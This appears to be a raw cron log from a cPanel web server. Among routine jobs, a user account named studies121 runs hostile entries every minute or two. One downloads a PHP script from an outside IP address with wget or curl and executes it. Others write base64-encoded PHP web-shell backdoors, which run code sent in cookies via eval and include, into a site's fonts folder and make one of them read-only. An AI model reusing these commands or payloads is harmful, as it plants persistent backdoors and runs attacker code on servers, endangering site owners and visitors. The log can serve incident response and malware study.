Feb 22 07:13:01 ip-184-168-122-23 CROND[27599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:14:01 ip-184-168-122-23 CROND[27932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:14:01 ip-184-168-122-23 CROND[27937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:14:01 ip-184-168-122-23 CROND[27934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:14:01 ip-184-168-122-23 CROND[27935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:14:01 ip-184-168-122-23 CROND[27936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:15:01 ip-184-168-122-23 CROND[28260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:15:01 ip-184-168-122-23 CROND[28261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:15:01 ip-184-168-122-23 CROND[28263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:15:01 ip-184-168-122-23 CROND[28265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:15:01 ip-184-168-122-23 CROND[28267]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:15:01 ip-184-168-122-23 CROND[28266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:16:01 ip-184-168-122-23 CROND[28685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:16:01 ip-184-168-122-23 CROND[28689]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:16:01 ip-184-168-122-23 CROND[28688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:16:01 ip-184-168-122-23 CROND[28687]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 07:16:01 ip-184-168-122-23 CROND[28691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:16:01 ip-184-168-122-23 CROND[28690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:17:01 ip-184-168-122-23 CROND[29026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:17:01 ip-184-168-122-23 CROND[29029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:17:01 ip-184-168-122-23 CROND[29030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:17:01 ip-184-168-122-23 CROND[29028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:18:01 ip-184-168-122-23 CROND[29359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:18:01 ip-184-168-122-23 CROND[29360]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:18:01 ip-184-168-122-23 CROND[29361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:18:01 ip-184-168-122-23 CROND[29362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:18:01 ip-184-168-122-23 CROND[29364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:19:01 ip-184-168-122-23 CROND[29681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:19:01 ip-184-168-122-23 CROND[29682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:19:01 ip-184-168-122-23 CROND[29684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:19:01 ip-184-168-122-23 CROND[29683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:20:01 ip-184-168-122-23 CROND[30006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:20:01 ip-184-168-122-23 CROND[30008]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 07:20:01 ip-184-168-122-23 CROND[30010]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 07:20:01 ip-184-168-122-23 CROND[30016]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:20:01 ip-184-168-122-23 CROND[30017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:20:01 ip-184-168-122-23 CROND[30013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:20:01 ip-184-168-122-23 CROND[30015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:20:01 ip-184-168-122-23 CROND[30014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:20:01 ip-184-168-122-23 CROND[30019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:21:01 ip-184-168-122-23 CROND[30353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:21:01 ip-184-168-122-23 CROND[30356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:21:01 ip-184-168-122-23 CROND[30355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:21:01 ip-184-168-122-23 CROND[30357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:22:01 ip-184-168-122-23 CROND[30774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:22:01 ip-184-168-122-23 CROND[30775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:22:01 ip-184-168-122-23 CROND[30780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:22:01 ip-184-168-122-23 CROND[30778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:22:01 ip-184-168-122-23 CROND[30779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:23:01 ip-184-168-122-23 CROND[31103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:23:01 ip-184-168-122-23 CROND[31107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:23:01 ip-184-168-122-23 CROND[31109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:23:02 ip-184-168-122-23 CROND[31110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:24:01 ip-184-168-122-23 CROND[31430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 07:24:01 ip-184-168-122-23 CROND[31432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:24:01 ip-184-168-122-23 CROND[31434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:24:01 ip-184-168-122-23 CROND[31435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:24:01 ip-184-168-122-23 CROND[31436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:25:01 ip-184-168-122-23 CROND[31758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 07:25:01 ip-184-168-122-23 CROND[31759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 07:25:01 ip-184-168-122-23 CROND[31762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 07:25:01 ip-184-168-122-23 CROND[31765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 07:25:01 ip-184-168-122-23 CROND[31764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 07:25:01 ip-184-168-122-23 CROND[31767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 07:26:01 ip-184-168-122-23 CROND[32099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
